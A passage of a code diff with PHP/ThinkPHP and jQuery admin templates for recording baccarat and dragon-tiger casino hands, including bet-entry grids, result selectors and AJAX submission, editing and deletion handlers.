str += '<option class="number" value="'+result.data[i].id+'" selected="selected">'+result.data[i].number+'</option>';
|
||||
}else{
|
||||
str += '<option class="number" value="'+result.data[i].id+'">'+result.data[i].number+'</option>';
|
||||
}
|
||||
}
|
||||
// 显示
|
||||
$('#search_number_id').append(str);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/* 监听桌子onchange事件 */
|
||||
$(document).on('change','#search_table_id',function(){
|
||||
// 清除上次遗留的靴和铺数据
|
||||
$('.boot').remove();
|
||||
$('.number').remove();
|
||||
|
||||
// 获取参数
|
||||
var startDate = $('#start').val();
|
||||
var endDate = $('#end').val();
|
||||
var game_id = 2;
|
||||
var table_id = $(this).val();
|
||||
if(table_id <= 0){
|
||||
return false;
|
||||
}
|
||||
|
||||
// 提交桌号给后台获取靴数据
|
||||
var result = ajax('/waybill/dt_get_boot',{game_id:game_id,table_id:table_id,startDate:startDate,endDate:endDate});
|
||||
if(result.code == 1){
|
||||
var str = "";
|
||||
for(var i = 0; i < result.data.length; i++){
|
||||
str += '<option class="boot" value="'+result.data[i].id+'">'+result.data[i].boot_num+'</option>';
|
||||
}
|
||||
// 显示
|
||||
$('#search_boot_id').append(str);
|
||||
}
|
||||
});
|
||||
|
||||
/* 监听靴onchange事件 */
|
||||
$(document).on('change','#search_boot_id',function(){
|
||||
// 获取参数
|
||||
var startDate = $('#start').val();
|
||||
var endDate = $('#end').val();
|
||||
var game_id = 2;
|
||||
var table_id = $('#search_table_id').val();
|
||||
var boot_id = $(this).val();
|
||||
if(table_id <= 0) return false;
|
||||
if(boot_id <= 0) return false;
|
||||
|
||||
// 提交桌号给后台获取靴数据
|
||||
var result = ajax('/waybill/get_number',{game_id:game_id,table_id:table_id,'boot_id':boot_id,startDate:startDate,endDate:endDate});
|
||||
if(result.code == 1){
|
||||
var str = "";
|
||||
for(var i = 0; i < result.data.length; i++){
|
||||
str += '<option class="number" value="'+result.data[i].id+'">'+result.data[i].number+'</option>';
|
||||
}
|
||||
// 显示
|
||||
$('#search_number_id').append(str);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
/**
|
||||
* 删除百家乐路单
|
||||
*/
|
||||
function deleteDt(id){
|
||||
layer.confirm('确定删除吗?',function(){
|
||||
// 数据验证
|
||||
if(id <= 0){
|
||||
layer.msg('注单出错!');
|
||||
}
|
||||
var query = new Object;
|
||||
query.number_tab_id = id;
|
||||
|
||||
// 发送数据给后台处理
|
||||
$.ajax({
|
||||
url:'/waybill/delete_dt',
|
||||
data:query,
|
||||
dataType:"json",
|
||||
type:"POST",
|
||||
success:function(data){
|
||||
if(data.code == 1){
|
||||
layer.msg(data.msg,{time:1000},function(){
|
||||
window.location.reload();
|
||||
});
|
||||
}else{
|
||||
layer.msg(data.msg);
|
||||
}
|
||||
}
|
||||
})
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* ajax 封装
|
||||
*/
|
||||
function ajax(url,query)
|
||||
{
|
||||
var returnData = "";
|
||||
$.ajax({
|
||||
url:url,
|
||||
data:query,
|
||||
dataType:"json",
|
||||
type:"POST",
|
||||
async:false,
|
||||
success:function(data){
|
||||
returnData = data;
|
||||
}
|
||||
});
|
||||
return returnData;
|
||||
}
|
||||
</script>
|
||||
|
||||
<script type="text/javascript">
|
||||
//搜索
|
||||
function changesearch(){
|
||||
var startDate = $('#start').val();
|
||||
var endDate = $('#end').val();
|
||||
var search_boot_id = $('#search_boot_id').val();
|
||||
var search_number_id = $('#search_number_id').val();
|
||||
var search_table_id = $('#search_table_id').val();
|
||||
window.location.href="/waybill/dt?startDate="+startDate+"&endDate="+endDate+"&search_number_id="+search_number_id+"&search_table_id="+search_table_id;
|
||||
}
|
||||
|
||||
//导出excel
|
||||
function downloadExcel(){
|
||||
msgConfirm("您确定要将导出Excel表吗?",function(){
|
||||
window.open("<?php if($query){ echo '?'.$query.'&downloadExcel=1'; }else{ echo '?downloadExcel=1'; } ?>");
|
||||
})
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,394 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<title>Document</title>
|
||||
<link rel="stylesheet" type="text/css" href="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/css/waybill.css">
|
||||
<style>
|
||||
.chipOrCash { position: relative; background: #006070; color: #fff; text-align: center; cursor: pointer; border-radius: 5px; line-height: 23px;
|
||||
-webkit-touch-callout: none;
|
||||
-webkit-user-select: none;
|
||||
-khtml-user-select: none;
|
||||
-moz-user-select: none;
|
||||
-ms-user-select: none;
|
||||
user-select: none;
|
||||
}
|
||||
|
||||
.chipOrCash { width: 50px; background: #006070; color: #fff; text-align: center; cursor: pointer; border-radius: 5px; line-height: 23px; -webkit-touch-callout: none; -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; float: right;}
|
||||
.allchip{position: absolute; color: #006070; bottom: 11px; left: 10px; font-size: 12px;}
|
||||
|
||||
.footer-box .radio-box .item{ width:11.5%; }
|
||||
</style>
|
||||
<script src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/js/jquery.js"></script>
|
||||
<script src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/layer/layer.js"></script>
|
||||
<script type="text/javascript" src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/js/waybill.js"></script>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<form class="section-form">
|
||||
<div class="bet-box table-box">
|
||||
<div class="header-box clearfix">
|
||||
<a href="{$backUrl}" class="back" ><div class="item"><label class="item-back">返回</label></div></a>
|
||||
<div class="item title">修改路单</div>
|
||||
<div class="item">
|
||||
<label>桌子: </label>
|
||||
<select class="select-box" id="select_table" disabled>
|
||||
<option value="{$table.id}">{$table.table_name}</option>
|
||||
</select>
|
||||
</div>
|
||||
<div class="item">
|
||||
<label>靴号: </label>
|
||||
<select class="select-box" id="select_boot" disabled>
|
||||
<option value="{$boot.id}">{$boot.boot_num}</option>
|
||||
</select>
|
||||
</div>
|
||||
<div class="item">
|
||||
<label>铺号: </label>
|
||||
<select class="select-box" id="select_number" disabled>
|
||||
<option value="{$number_tab.id}">{$number_tab.number}</option>
|
||||
</select>
|
||||
</div>
|
||||
<div class="item">
|
||||
<label>结果: </label>
|
||||
{if condition="$number_tab.pair == 0"}
|
||||
<input class="select-box" id="result" value="{$number_tab.result_en}" readonly>
|
||||
{else}
|
||||
<input class="select-box" id="result" value="{$number_tab.result_en}{$number_tab.pair_en}" readonly>
|
||||
{/if}
|
||||
</div>
|
||||
</div>
|
||||
<style>
|
||||
.bet-box .chip-box{
|
||||
position: relative;
|
||||
height: 170px;
|
||||
overflow: hidden;
|
||||
background: #fff;
|
||||
transition: 0.6s;
|
||||
transform-style: preserve-3d;
|
||||
}
|
||||
|
||||
.bet-box .list-box{
|
||||
position: absolute;
|
||||
top: 0;
|
||||
left: 0;
|
||||
backface-visibility: hidden;
|
||||
}
|
||||
.bet-box .cashbox{
|
||||
transform: rotateY(180deg);
|
||||
}
|
||||
</style>
|
||||
<?php $num = 1; ?>
|
||||
<?php for($i = 0; $i < 4; $i++) : ?>
|
||||
<div class="list clearfix">
|
||||
<?php for($j = 0; $j < 6; $j++) : ?>
|
||||
|
||||
<div class="item box-sizing">
|
||||
<div class="absolute-box chip">
|
||||
<div class="number-box">
|
||||
<span>{$num}</span>
|
||||
<input type="text" class="user_name" placeholder="请输入卡号" value="<?php if(isset($bet_list[$i][$j])) echo $bet_list[$i][$j]['user_name'] ?>">
|
||||
</div>
|
||||
<div class="chip-box">
|
||||
<div class="chipbox">
|
||||
<div class="item-box">
|
||||
<label class="bank">庄</label>
|
||||
<input class="box-sizing bet_banker" type="text" placeholder="请输入金额" value="<?php if(isset($bet_list[$i][$j]['banker_amount']) && $bet_list[$i][$j]['banker_amount'] > 0) echo $bet_list[$i][$j]['banker_amount'] ?>">
|
||||
</div>
|
||||
<div class="item-box">
|
||||
<label class="player">闲</label>
|
||||
<input class="box-sizing bet_player" type="text" placeholder="请输入金额" value="<?php if(isset($bet_list[$i][$j]['player_amount']) && $bet_list[$i][$j]['player_amount'] > 0) echo $bet_list[$i][$j]['player_amount'] ?>">
|
||||
</div>
|
||||
<div class="item-box">
|
||||
<label class="tie">和</label>
|
||||
<input class="box-sizing bet_tie" type="text" placeholder="请输入金额" value="<?php if(isset($bet_list[$i][$j]['tie_amount']) && $bet_list[$i][$j]['tie_amount'] > 0) echo $bet_list[$i][$j]['tie_amount'] ?>">
|
||||
</div>
|
||||
<div class="item-box">
|
||||
<label class="banktie">庄对</label>
|
||||
<input class="box-sizing bet_banker_pair" type="text" placeholder="请输入金额" value="<?php if(isset($bet_list[$i][$j]['banker_pair_amount']) && $bet_list[$i][$j]['banker_pair_amount'] > 0) echo $bet_list[$i][$j]['banker_pair_amount'] ?>">
|
||||
</div>
|
||||
<div class="item-box">
|
||||
<label class="playertie">闲对</label>
|
||||
<input class="box-sizing bet_player_pair" type="text" placeholder="请输入金额" value="<?php if(isset($bet_list[$i][$j]['player_pair_amount']) && $bet_list[$i][$j]['player_pair_amount'] > 0) echo $bet_list[$i][$j]['player_pair_amount'] ?>">
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<button class="clear" type="button">清除</button>
|
||||
|
||||
<div class="allchip">总金额:<span style="color:#EBAF59" class="">0</span></div>
|
||||
<div class="chipOrCash" style="background:#006070;opacity:0;"><input class="chipOrCashId" type="hidden" name="counterOrCash" value="1"/><span>美元</span></div>
|
||||
<!-- 已下注的总金额 -->
|
||||
<script>
|
||||
var chip_box = $('.chip-box');
|
||||
var length = chip_box.length - 1;
|
||||
var chip = chip_box[length];
|
||||
var input = $(chip).find('input');
|
||||
var allchip = 0
|
||||
input.each(function(){
|
||||
allchip += Number($(this).val());
|
||||
});
|
||||
$(chip).siblings('.allchip').find('span').html(allchip);
|
||||
</script>
|
||||
</div>
|
||||
</div>
|
||||
<?php $num++; ?>
|
||||
<?php endfor; ?>
|
||||
</div>
|
||||
<?php endfor; ?>
|
||||
|
||||
<div class="footer-box">
|
||||
<div class="radio-box result_baccarat">
|
||||
<span class="item banker <?php if($number_tab['result'] == 1) echo "on"; ?>">庄<input type="checkbox" name="checkbox" id="banker" value="banker" <?php if($number_tab['result'] == 1) echo 'checked="checked"'; ?>></span>
|
||||
<span class="item player <?php if($number_tab['result'] == 2) echo "on"; ?>">闲<input type="checkbox" name="checkbox" id="player" value="player" <?php if($number_tab['result'] == 2) echo 'checked="checked"'; ?>></span>
|
||||
<span class="item tie <?php if($number_tab['result'] == 3) echo "on"; ?>">和<input type="checkbox" name="checkbox" id="tie" value="tie" <?php if($number_tab['result'] == 3) echo 'checked="checked"'; ?>></span>
|
||||
<span class="item banker_pair <?php if($number_tab['result'] == 4) echo "on"; ?>">庄对<input type="checkbox" name="checkbox" id="banker_pair" value="banker_pair" <?php if($number_tab['result'] == 4) echo 'checked="checked"'; ?>></span>
|
||||
<span class="item player_pair <?php if($number_tab['result'] == 5) echo "on"; ?>">闲对<input type="checkbox" name="checkbox" id="player_pair" value="player_pair" <?php if($number_tab['result'] == 5) echo 'checked="checked"'; ?>></span>
|
||||
{if condition="$table.mode == 2"}
|
||||
<span class="item win_six">赢6<input type="checkbox" name="checkbox" id="win_six" value="win_six"></span>
|
||||
{/if}
|
||||
<button class="submit" type="button">提交结果</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</form>
|
||||
</body>
|
||||
</html>
|
||||
<script>
|
||||
$(function(){
|
||||
|
||||
// 键盘事件
|
||||
$('input').keyup(function(){
|
||||
//单个客户下注的统计
|
||||
var class_name = $(this).attr('class');
|
||||
if(class_name == 'user_name'){
|
||||
var user_name = $(this).val();
|
||||
var counterOrCash = $(this).parent().siblings('.counterOrCash').find('.counterOrCashId').val();
|
||||
}else{
|
||||
var user_name = $(this).parent().parent().parent().parent().find('.user_name').val();
|
||||
var counterOrCash = $(this).parent().parent().parent().siblings('.counterOrCash').children('.counterOrCashId').val();
|
||||
}
|
||||
if(user_name != "" && user_name != undefined){
|
||||
if(class_name == "user_name"){
|
||||
var chipbox = $(this).parent().siblings('.chip-box').find('.chipbox');
|
||||
var cashbox = $(this).parent().siblings('.chip-box').find('.cashbox');
|
||||
var allChipSpan = $(this).parent().siblings('.allchip').find('span');
|
||||
}else{
|
||||
var chipbox = $(this).parent().parent().parent().find('.chipbox');
|
||||
var cashbox = $(this).parent().parent().parent().find('.cashbox');
|
||||
var allChipSpan = $(this).parent().parent().parent().siblings('.allchip').find('span');
|
||||
}
|
||||
var allchip = 0;
|
||||
chipbox.each(function(){
|
||||
$(this).find('input').each(function(){
|
||||
allchip += Number($(this).val());
|
||||
})
|
||||
});
|
||||
cashbox.each(function(){
|
||||
$(this).find('input').each(function(){
|
||||
allchip += Number($(this).val());
|
||||
})
|
||||
});
|
||||
$(allChipSpan).html(allchip);
|
||||
}
|
||||
});
|
||||
|
||||
// 清除数据
|
||||
$('.clear').click(function(){
|
||||
var chipOrCashId = $(this).siblings('.chipOrCash').find('.chipOrCashId').val();
|
||||
$(this).parent().find('input').val('');
|
||||
$(this).siblings('.allchip').find('span').html(0);
|
||||
$(this).siblings('.chipOrCash').find('.chipOrCashId').val(chipOrCashId);
|
||||
});
|
||||
|
||||
/* 提交下注和结果数据 */
|
||||
$('.submit').click(function(){
|
||||
/* 获取桌号 靴号 */
|
||||
var table_id = $('#select_table').val();
|
||||
var boot_id = $('#select_boot').val();
|
||||
var number_tab_id = $('#select_number').val();
|
||||
|
||||
// 数据验证
|
||||
if(table_id <= 0){
|
||||
layer.msg('请选择桌子!');
|
||||
return false;
|
||||
}
|
||||
if(boot_id <= 0){
|
||||
layer.msg('请选择靴号!');
|
||||
return false;
|
||||
}
|
||||
if(number_tab_id <= 0){
|
||||
layer.msg('请选择铺号!');
|
||||
return false;
|
||||
}
|
||||
|
||||
/* 获取下注信息 */
|
||||
var chip = new Array;
|
||||
var chip_mark = new Array;
|
||||
var item = $('.chip');
|
||||
item.each(function(){
|
||||
var user_name = $(this).find('.user_name').val();
|
||||
var counterOrCash = $(this).find('.counterOrCash').children('input').val();
|
||||
var bet_chip = new Object;
|
||||
bet_chip.user_name = user_name;
|
||||
bet_chip.banker_amount = Number($(this).find('.chipbox').find('.bet_banker').val());
|
||||
bet_chip.player_amount = Number($(this).find('.chipbox').find('.bet_player').val());
|
||||
bet_chip.tie_amount = Number($(this).find('.chipbox').find('.bet_tie').val());
|
||||
bet_chip.banker_pair_amount = Number($(this).find('.chipbox').find('.bet_banker_pair').val());
|
||||
bet_chip.player_pair_amount = Number($(this).find('.chipbox').find('.bet_player_pair').val());
|
||||
|
||||
if (user_name != "" && user_name != undefined) {
|
||||
var data = new Array;
|
||||
// 下注额筹码
|
||||
if (bet_chip.banker_amount != "" || bet_chip.player_amount != "" || bet_chip.tie_amount != "" || bet_chip.banker_pair_amount != "" || bet_chip.player_pair_amount != "") {
|
||||
data.push(bet_chip)
|
||||
}
|
||||
if(data.length > 0){
|
||||
chip.push(data);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
/* 获取结果信息 */
|
||||
var input = $(".result_baccarat").find('input:checked');
|
||||
var result = new Object;
|
||||
if(input.length <= 0){
|
||||
layer.msg('请选择结果!');
|
||||
return false;
|
||||
}else{
|
||||
result.pair = null; // 先定义对子为空
|
||||
input.each(function(){
|
||||
var value = $(this).val();
|
||||
// 结果为 庄、闲、和 的数据拼装
|
||||
if(value == "banker" || value == "player" || value == "tie"){
|
||||
result.result = value;
|
||||
}
|
||||
// 结果有赢6
|
||||
if(value == "win_six"){
|
||||
result.special = value;
|
||||
}else{
|
||||
result.special = null;
|
||||
}
|
||||
|
||||
// 结果为 庄对、闲对 的数据拼装
|
||||
if(value == "banker_pair" || value == "player_pair"){
|
||||
if(result.pair == null){
|
||||
result.pair = value;
|
||||
}else{
|
||||
result.pair = "both_pair";
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
/* 拼装所有要发送的数据, 下注,写入数据库 */
|
||||
var query = new Object;
|
||||
query.table_id = table_id;
|
||||
query.boot_id = boot_id;
|
||||
query.number_tab_id = number_tab_id;
|
||||
query.status = "edit"; // 用于后台处理数据 区分是添加还是修改的标识
|
||||
query.chip = JSON.stringify(chip);
|
||||
query.result = JSON.stringify(result);
|
||||
|
||||
var chip_url = "/waybill/baccarat_chip_in";
|
||||
// 提醒管理员是否提交数据到后台
|
||||
layer.confirm('确定提交吗?', {
|
||||
btn: ['确定','取消'] //按钮
|
||||
}, function(){
|
||||
var result = ajax(chip_url,query);
|
||||
if(result.status == 0){
|
||||
layer.alert(result.msg);
|
||||
return false;
|
||||
}else if(result.status == 1){
|
||||
layer.msg(result.msg,{time:1000},function(){
|
||||
window.location.reload();
|
||||
});
|
||||
return false;
|
||||
}
|
||||
});
|
||||
});
|
||||
});
|
||||
</script>
|
||||
|
||||
<script>
|
||||
// 百家乐选择结果判断和颜色改变
|
||||
function toggleon(index){
|
||||
// 获取庄、闲、和是否被选中的信息
|
||||
var banker = $(".footer-box .radio-box .banker").children("input").is(':checked');
|
||||
var player = $(".footer-box .radio-box .player").children("input").is(':checked');
|
||||
var tie = $(".footer-box .radio-box .tie").children("input").is(':checked');
|
||||
|
||||
// 选中庄
|
||||
if(banker==true && index == 0){
|
||||
$(".footer-box .radio-box .player").children("input").prop("checked",false);
|
||||
$(".footer-box .radio-box .tie").children("input").prop("checked",false);
|
||||
$(".footer-box .radio-box .player").removeClass('on');
|
||||
$(".footer-box .radio-box .tie").removeClass('on');
|
||||
}
|
||||
// 选中闲
|
||||
else if(player==true && index == 1){
|
||||
$(".footer-box .radio-box .banker").children("input").prop("checked",false);
|
||||
$(".footer-box .radio-box .tie").children("input").prop("checked",false);
|
||||
$(".footer-box .radio-box .banker").removeClass('on');
|
||||
$(".footer-box .radio-box .tie").removeClass('on');
|
||||
}
|
||||
// 选中和
|
||||
else if(tie==true && index == 2){
|
||||
$(".footer-box .radio-box .banker").children("input").prop("checked",false);
|
||||
$(".footer-box .radio-box .player").children("input").prop("checked",false);
|
||||
$(".footer-box .radio-box .win_six").children("input").prop("checked",false);
|
||||
$(".footer-box .radio-box .banker").removeClass('on');
|
||||
$(".footer-box .radio-box .player").removeClass('on');
|
||||
$(".footer-box .radio-box .win_six").removeClass('on');
|
||||
}
|
||||
|
||||
// 重新获取庄、闲、和是否被选中的信息
|
||||
var banker = $(".footer-box .radio-box .banker").children("input").is(':checked');
|
||||
var player = $(".footer-box .radio-box .player").children("input").is(':checked');
|
||||
var tie = $(".footer-box .radio-box .tie").children("input").is(':checked');
|
||||
|
||||
// 当选中庄对或者闲对时
|
||||
if(index == 3 || index == 4){
|
||||
// 如果庄、闲或和被选中,庄对或闲对被选中
|
||||
if(banker == true || player == true || tie == true){
|
||||
var $checked = $(".footer-box .radio-box span").eq(index);
|
||||
var checked = $checked.children("input").is(':checked');
|
||||
if(checked==true){
|
||||
$checked.addClass("on")
|
||||
}else{
|
||||
$checked.removeClass("on")
|
||||
}
|
||||
}
|
||||
} else if(index == 5){
|
||||
if(banker == true || player == true){
|
||||
var $checked=$(".footer-box .radio-box span").eq(index);
|
||||
var checked=$checked.children("input").is(':checked');
|
||||
if(checked==true){
|
||||
$checked.addClass("on")
|
||||
}else{
|
||||
$checked.removeClass("on")
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// 当选中的是庄、闲或和时,直接选中
|
||||
var $checked=$(".footer-box .radio-box span").eq(index);
|
||||
var checked=$checked.children("input").is(':checked');
|
||||
if(checked==true){
|
||||
$checked.addClass("on")
|
||||
}else{
|
||||
$checked.removeClass("on")
|
||||
}
|
||||
}
|
||||
// 没有庄、闲或和, 庄对和闲对都取消选中
|
||||
if(banker == false && player == false && tie == false){
|
||||
$(".footer-box .radio-box span").eq(3).children("input").prop("checked",false);
|
||||
$(".footer-box .radio-box span").eq(4).children("input").prop("checked",false);
|
||||
$(".footer-box .radio-box span").eq(5).children("input").prop("checked",false);
|
||||
$(".footer-box .radio-box span").eq(3).removeClass('on');
|
||||
$(".footer-box .radio-box span").eq(4).removeClass('on');
|
||||
$(".footer-box .radio-box span").eq(5).removeClass('on');
|
||||
}
|
||||
}
|
||||
$(".footer-box .radio-box span").click(function(){
|
||||
var index = $(this).index();
|
||||
toggleon(index);
|
||||
});
|
||||
</script>
|
||||
@@ -0,0 +1,287 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<title>Document</title>
|
||||
<link rel="stylesheet" type="text/css" href="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/css/waybill.css">
|
||||
<script src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/js/jquery.js"></script>
|
||||
<script src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/layer/layer.js"></script>
|
||||
<script type="text/javascript" src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/js/waybill.js"></script>
|
||||
<style>
|
||||
.chipOrCash { position: relative; background: #006070; color: #fff; text-align: center; cursor: pointer; border-radius: 5px; line-height: 23px; -webkit-touch-callout: none; -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; }
|
||||
.chipOrCash {width: 50px; position: relative;top:4px; background: #006070; color: #fff; text-align: center; cursor: pointer; border-radius: 5px; line-height: 23px; -webkit-touch-callout: none; -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; float: right; }
|
||||
.allchip { position: absolute; color: #006070; bottom: 7px; left: 10px; font-size: 12px; }
|
||||
.bet-box .chip-box{ position: relative; height: 102px; overflow: hidden; background: #fff; transition: 0.6s; transform-style: preserve-3d; }
|
||||
.bet-box .list-box{ position: absolute; top: 0; left: 0; backface-visibility: hidden; }
|
||||
.bet-box .cashbox{ transform: rotateY(180deg); }
|
||||
.section-form{
|
||||
box-sizing:border-box;
|
||||
-moz-box-sizing:border-box; /* Firefox */
|
||||
-webkit-box-sizing:border-box; /* Safari */
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="bet-box table-box section-form">
|
||||
<div class="bet-box table-box">
|
||||
<div class="header-box clearfix">
|
||||
<a href="{$backUrl}" class="back" ><div class="item"><label class="item-back">返回</label></div></a>
|
||||
<div class="item title">修改路单</div>
|
||||
<div class="item">
|
||||
<label>桌子: </label>
|
||||
<select class="select-box" id="select_table" disabled>
|
||||
<option value="{$table.id}">{$table.table_name}</option>
|
||||
</select>
|
||||
</div>
|
||||
<div class="item">
|
||||
<label>靴号: </label>
|
||||
<select class="select-box" id="select_boot" disabled>
|
||||
<option value="{$boot.id}">{$boot.boot_num}</option>
|
||||
</select>
|
||||
</div>
|
||||
<div class="item">
|
||||
<label>铺号: </label>
|
||||
<select class="select-box" id="select_number" disabled>
|
||||
<option value="{$number_tab.id}">{$number_tab.number}</option>
|
||||
</select>
|
||||
</div>
|
||||
<div class="item">
|
||||
<label>结果: </label>
|
||||
<input class="select-box" id="result" value="{$number_tab.result_en}" readonly>
|
||||
</div>
|
||||
</div>
|
||||
<?php $num = 0; for($i=0; $i<4; $i++): ?>
|
||||
<div class="list clearfix">
|
||||
<?php for($j=0; $j<6; $j++): $num++ ?>
|
||||
<div class="item box-sizing chip">
|
||||
<div class="absolute-box">
|
||||
<div class="number-box">
|
||||
<span>{$num}</span>
|
||||
<input type="text" class="user_name" placeholder="请输入卡号" value="<?php if(isset($bet_list[$i][$j])) echo $bet_list[$i][$j]['user_name'] ?>">
|
||||
</div>
|
||||
<div class="chip-box">
|
||||
<div class="chipbox">
|
||||
<div class="item-box">
|
||||
<label class="bank">龙</label>
|
||||
<input class="box-sizing bet_banker" type="text" placeholder="请输入金额" value="<?php if(isset($bet_list[$i][$j]['banker_amount']) && $bet_list[$i][$j]['banker_amount'] > 0) echo $bet_list[$i][$j]['banker_amount'] ?>">
|
||||
</div>
|
||||
<div class="item-box">
|
||||
<label class="player">虎</label>
|
||||
<input class="box-sizing bet_player" type="text" placeholder="请输入金额" value="<?php if(isset($bet_list[$i][$j]['player_amount']) && $bet_list[$i][$j]['player_amount'] > 0) echo $bet_list[$i][$j]['player_amount'] ?>">
|
||||
</div>
|
||||
<div class="item-box">
|
||||
<label class="tie">和</label>
|
||||
<input class="box-sizing bet_tie" type="text" placeholder="请输入金额" value="<?php if(isset($bet_list[$i][$j]['tie_amount']) && $bet_list[$i][$j]['tie_amount'] > 0) echo $bet_list[$i][$j]['tie_amount'] ?>">
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<button class="clear">清除</button>
|
||||
<div class="allchip">总金额:<span style="color:#EBAF59">0</span></div>
|
||||
<div class="chipOrCash" style="background:#006070;opacity:0;"><input class="chipOrCashId" type="hidden" name="counterOrCash" value="1"/><span>美元</span></div>
|
||||
|
||||
<!-- 已下注的总金额 -->
|
||||
<script>
|
||||
var chip_box = $('.chip-box');
|
||||
var length = chip_box.length - 1;
|
||||
var chip = chip_box[length];
|
||||
var input = $(chip).find('input');
|
||||
var allchip = 0
|
||||
input.each(function(){
|
||||
allchip += Number($(this).val());
|
||||
});
|
||||
$(chip).siblings('.allchip').find('span').html(allchip);
|
||||
</script>
|
||||
</div>
|
||||
</div>
|
||||
<?php endfor; ?>
|
||||
</div>
|
||||
<?php endfor; ?>
|
||||
<div class="footer-box">
|
||||
<div class="radio-box result_dt">
|
||||
<button class="submit fr" style=" margin:13px 30px;">提交结果</button>
|
||||
<span class="item fr tie <?php if($number_tab['result'] == 3) echo "on"; ?>">和<input type="checkbox" name="checkbox" id="tie" value="3" <?php if($number_tab['result'] == 3) echo 'checked="checked"'; ?>></span>
|
||||
<span class="item fr player <?php if($number_tab['result'] == 2) echo "on"; ?>">虎<input type="checkbox" name="checkbox" id="player" value="2" <?php if($number_tab['result'] == 2) echo 'checked="checked"'; ?>></span>
|
||||
<span class="item fr banker <?php if($number_tab['result'] == 1) echo "on"; ?>">龙<input type="checkbox" name="checkbox" id="banker" value="1" <?php if($number_tab['result'] == 1) echo 'checked="checked"'; ?>></span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
|
||||
<!-- 用于处理数据 -->
|
||||
<script>
|
||||
$(function(){
|
||||
// 键盘事件
|
||||
$('input').keyup(function(){
|
||||
//单个客户下注的统计
|
||||
var class_name = $(this).attr('class');
|
||||
if(class_name == 'user_name'){
|
||||
var user_name = $(this).val();
|
||||
var counterOrCash = $(this).parent().siblings('.counterOrCash').find('.counterOrCashId').val();
|
||||
}else{
|
||||
var user_name = $(this).parent().parent().parent().parent().find('.user_name').val();
|
||||
var counterOrCash = $(this).parent().parent().parent().siblings('.counterOrCash').children('.counterOrCashId').val();
|
||||
}
|
||||
|
||||
if(user_name != "" && user_name != undefined){
|
||||
if(class_name == "user_name"){
|
||||
var chipbox = $(this).parent().siblings('.chip-box').find('.chipbox');
|
||||
var cashbox = $(this).parent().siblings('.chip-box').find('.cashbox');
|
||||
var allChipSpan = $(this).parent().siblings('.allchip').find('span');
|
||||
}else{
|
||||
var chipbox = $(this).parent().parent().parent().find('.chipbox');
|
||||
var cashbox = $(this).parent().parent().parent().find('.cashbox');
|
||||
var allChipSpan = $(this).parent().parent().parent().siblings('.allchip').find('span');
|
||||
}
|
||||
var allchip = 0;
|
||||
chipbox.each(function(){
|
||||
$(this).find('input').each(function(){
|
||||
allchip += Number($(this).val());
|
||||
})
|
||||
});
|
||||
cashbox.each(function(){
|
||||
$(this).find('input').each(function(){
|
||||
allchip += Number($(this).val());
|
||||
})
|
||||
});
|
||||
$(allChipSpan).html(allchip);
|
||||
}
|
||||
});
|
||||
|
||||
// 清除数据
|
||||
$('.clear').click(function(){
|
||||
var chipOrCashId = $(this).siblings('.chipOrCash').find('.chipOrCashId').val();
|
||||
$(this).parent().find('input').val('');
|
||||
$(this).siblings('.allchip').find('span').html(0);
|
||||
$(this).siblings('.chipOrCash').find('.chipOrCashId').val(chipOrCashId);
|
||||
});
|
||||
|
||||
/* 提交下注和结果数据 */
|
||||
$('.submit').click(function(){
|
||||
/* 获取桌号 靴号 */
|
||||
var table_id = $('#select_table').val();
|
||||
var boot_id = $('#select_boot').val();
|
||||
var number_tab_id = $('#select_number').val();
|
||||
|
||||
// 数据验证
|
||||
if(table_id <= 0){
|
||||
layer.msg('请选择桌子!');
|
||||
return false;
|
||||
}
|
||||
if(boot_id <= 0){
|
||||
layer.msg('请选择靴号!');
|
||||
return false;
|
||||
}
|
||||
if(number_tab_id <= 0){
|
||||
layer.msg('请选择铺号!');
|
||||
return false;
|
||||
}
|
||||
|
||||
/* 获取下注信息 */
|
||||
var chip = new Array;
|
||||
var item = $('.chip');
|
||||
item.each(function(){
|
||||
var user_name = $(this).find('.user_name').val();
|
||||
var counterOrCash = $(this).find('.counterOrCash').children('input').val();
|
||||
var bet_chip = new Object;
|
||||
bet_chip.user_name = user_name;
|
||||
bet_chip.banker_amount = Number($(this).find('.chipbox').find('.bet_banker').val());
|
||||
bet_chip.player_amount = Number($(this).find('.chipbox').find('.bet_player').val());
|
||||
bet_chip.tie_amount = Number($(this).find('.chipbox').find('.bet_tie').val());
|
||||
if (user_name != "" && user_name != undefined) {
|
||||
var data = new Array;
|
||||
// 下注额
|
||||
if (bet_chip.banker_amount != "" || bet_chip.player_amount != "" || bet_chip.tie_amount != "") {
|
||||
data.push(bet_chip)
|
||||
}
|
||||
if(data.length > 0){
|
||||
chip.push(data);
|
||||
}
|
||||
}
|
||||
});
|
||||
